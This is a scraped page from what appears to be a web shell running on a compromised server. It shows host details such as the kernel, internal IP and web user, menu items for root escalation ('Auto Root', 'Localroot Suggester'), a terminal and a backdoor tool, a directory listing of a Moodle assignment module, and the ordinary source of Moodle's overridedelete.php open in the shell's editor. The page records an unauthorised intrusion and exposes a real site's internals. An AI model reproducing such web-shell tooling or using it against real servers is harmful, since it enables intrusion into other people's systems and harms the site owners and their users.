Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
mod /
assign /
Delete
Unzip
Name
Size
Permission
Date
Action
amd
[ DIR ]
drwxr-sr-x
2017-06-22 15:07
backup
[ DIR ]
drwxr-sr-x
2017-06-22 15:07
classes
[ DIR ]
drwxr-sr-x
2017-06-22 15:15
db
[ DIR ]
drwxr-sr-x
2017-06-22 15:15
feedback
[ DIR ]
drwxr-sr-x
2017-06-22 15:07
lang
[ DIR ]
drwxr-sr-x
2017-06-22 15:07
pix
[ DIR ]
drwxr-sr-x
2017-06-22 15:16
submission
[ DIR ]
drwxr-sr-x
2017-06-22 15:08
templates
[ DIR ]
drwxr-sr-x
2017-06-22 15:17
tests
[ DIR ]
drwxr-sr-x
2017-06-22 15:17
yui
[ DIR ]
drwxr-sr-x
2017-06-22 15:08
adminlib.php
12.02
KB
-rw-r--r--
2017-06-22 15:15
adminmanageplugins.php
1.41
KB
-rw-r--r--
2017-06-22 15:15
assignmentplugin.php
22.98
KB
-rw-r--r--
2017-06-22 15:15
batchsetallocatedmarkerform.php
2.33
KB
-rw-r--r--
2017-06-22 15:15
batchsetmarkingworkflowstateform.php
3.73
KB
-rw-r--r--
2017-06-22 15:15
extensionform.php
5.58
KB
-rw-r--r--
2017-06-22 15:15
externallib.php
123.33
KB
-rw-r--r--
2017-06-22 15:15
feedbackplugin.php
6.34
KB
-rw-r--r--
2017-06-22 15:16
gradeform.php
3.97
KB
-rw-r--r--
2017-06-22 15:16
gradingbatchoperationsform.php
3.9
KB
-rw-r--r--
2017-06-22 15:16
gradingoptionsform.php
4.96
KB
-rw-r--r--
2017-06-22 15:16
gradingtable.php
63.23
KB
-rw-r--r--
2017-06-22 15:16
index.php
1.84
KB
-rw-r--r--
2017-06-22 15:16
lib.php
61.18
KB
-rw-r--r--
2017-06-22 15:16
locallib.php
356.11
KB
-rw-r--r--
2017-06-22 15:16
mod_form.php
13.05
KB
-rw-r--r--
2017-06-22 15:16
module.js
8.01
KB
-rw-r--r--
2017-06-22 15:16
override_form.php
11.4
KB
-rw-r--r--
2017-06-22 15:16
overridedelete.php
3.39
KB
-rw-r--r--
2017-06-22 15:16
overrideedit.php
7.91
KB
-rw-r--r--
2017-06-22 15:16
overrides.php
10.61
KB
-rw-r--r--
2017-06-22 15:16
quickgradingform.php
2.39
KB
-rw-r--r--
2017-06-22 15:16
renderable.php
36.35
KB
-rw-r--r--
2017-06-22 15:16
renderer.php
64.1
KB
-rw-r--r--
2017-06-22 15:16
settings.php
16
KB
-rw-r--r--
2017-06-22 15:16
styles.css
32.92
KB
-rw-r--r--
2017-06-22 15:16
submission_form.php
2.19
KB
-rw-r--r--
2017-06-22 15:17
submissionconfirmform.php
2.32
KB
-rw-r--r--
2017-06-22 15:17
submissionplugin.php
4.41
KB
-rw-r--r--
2017-06-22 15:17
upgrade.txt
7.26
KB
-rw-r--r--
2017-06-22 15:17
upgradelib.php
19.39
KB
-rw-r--r--
2017-06-22 15:17
version.php
1.16
KB
-rw-r--r--
2017-06-22 15:17
view.php
1.9
KB
-rw-r--r--
2017-06-22 15:17
Save
Rename
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This page handles deleting assigment overrides * * @package mod_assign * @copyright 2016 Ilya Tregubov * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once(dirname(__FILE__) . '/../../config.php'); require_once($CFG->dirroot.'/mod/assign/lib.php'); require_once($CFG->dirroot.'/mod/assign/locallib.php'); require_once($CFG->dirroot.'/mod/assign/override_form.php'); $overrideid = required_param('id', PARAM_INT); $confirm = optional_param('confirm', false, PARAM_BOOL); if (! $override = $DB->get_record('assign_overrides', array('id' => $overrideid))) { print_error('invalidoverrideid', 'assign'); } $assign = new assign($DB->get_record('assign', array('id' => $override->assignid), '*', MUST_EXIST), null, null); if (! $cm = get_coursemodule_from_instance("assign", $assign->get_context()->id, $assign->get_context()->course)) { print_error('invalidcoursemodule'); } $course = $DB->get_record('course', array('id' => $cm->course), '*', MUST_EXIST); $context = context_module::instance($cm->id); require_login($course, false, $cm); // Check the user has the required capabilities to modify an override. require_capability('mod/assign:manageoverrides', $context); $url = new moodle_url('/mod/assign/overridedelete.php', array('id' => $override->id)); $confirmurl = new moodle_url($url, array('id' => $override->id, 'confirm' => 1)); $cancelurl = new moodle_url('/mod/assign/overrides.php', array('cmid' => $cm->id)); if (!empty($override->userid)) { $cancelurl->param('mode', 'user'); } // If confirm is set (PARAM_BOOL) then we have confirmation of intention to delete. if ($confirm) { require_sesskey(); $assign->delete_override($override->id); reorder_group_overrides($assign->get_context()->id); redirect($cancelurl); } // Prepare the page to show the confirmation form. $stroverride = get_string('override', 'assign'); $title = get_string('deletecheck', null, $stroverride); $PAGE->set_url($url); $PAGE->set_pagelayout('admin'); $PAGE->navbar->add($title); $PAGE->set_title($title); $PAGE->set_heading($course->fullname); echo $OUTPUT->header(); echo $OUTPUT->heading(format_string($assign->get_context()->name, true, array('context' => $context))); if ($override->groupid) { $group = $DB->get_record('groups', array('id' => $override->groupid), 'id, name'); $confirmstr = get_string("overridedeletegroupsure", "assign", $group->name); } else { $namefields = get_all_user_name_fields(true); $user = $DB->get_record('user', array('id' => $override->userid), 'id, ' . $namefields); $confirmstr = get_string("overridedeleteusersure", "assign", fullname($user)); } echo $OUTPUT->confirm($confirmstr, $confirmurl, $cancelurl); echo $OUTPUT->footer();